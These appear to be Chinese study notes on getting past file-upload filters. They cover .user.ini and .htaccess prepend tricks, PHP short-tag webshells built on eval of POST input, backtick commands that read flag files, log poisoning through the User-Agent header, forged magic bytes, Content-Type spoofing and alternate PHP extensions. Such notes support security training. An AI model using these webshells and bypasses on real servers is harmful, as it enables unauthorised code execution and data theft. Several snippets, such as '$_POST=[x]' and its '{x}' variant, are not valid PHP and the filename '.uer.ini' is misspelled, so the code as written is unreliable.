一、文件上传
概念:(不赘述转web安全文件上传)[[9.6-9.7基础和过滤方式]]
前置知识:(除解析漏洞)后门代码需要以特定格式后缀解析,不能以图片后缀解析;
知识点
1、文件上传-前端验证
直接修改前端js代码,文件上传格式;
2、黑白名单
3、user.ini用处(文件包含)
-
上传.uer.ini文件,apache中同理配置文件.htaccess;
修改文件为auto_prepend_file = 1.jpg 或
auto_append_file = 1.jpg (区别是一个文件前一个文件后) -
1.png文件()
-
此时访问默认首页index.php文件(调用.user.ini)即可解析到1.png后门文件;
4、PHP语言特性
详细点
1、检测层面:前端、后端
2、检测内容:文件头、完整性、二次渲染
过滤上传文件特定内容组合;
<?echo '123';?> (前提开启配置文件short_open_tags=on,短标签)
<?=表达式;?> 如<?=eval($_POST=[x]);?>(不需要开启参数设置)
<% echo '123';%> (前提开启asp_tags=on)
<script language="php">echo '1';</script> (不需要修改开关)推荐2,4
内容绕过屏蔽[],转换成{}即可;
<?=eval($_POST=[x]);?> 改为<?=eval($_POST={x});?>
内容过滤括号(),反引号名执行;
<?=`cat ../fl*`?>
内容过滤反引号,包含日志文件,日志文件头UA写后门代码,寻找对应中间件的日志文件路径;
之后构造任意请求包含后门,后门将再日志文件中触发;
文件头过滤,常用文件头;
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
3、检测后缀:黑名单、白名单、MIME检测等
MIME解析:多用互联网邮件扩展类型,指某拓展名文件用一种程序打开,如声音audio,图片image
;
后端代码限制,抓包修改Content-Type验证格式;
其他非php的网站同理,上传其能解析的后缀后门;
大小写:修改后缀大小写如phP;
4、绕过技巧:多后缀解析、截断、中间件特性(解析)、条件竞争等
多后缀解析: 文件后缀修改如php5、phtml、phtm、php2、php3、phps(php别名)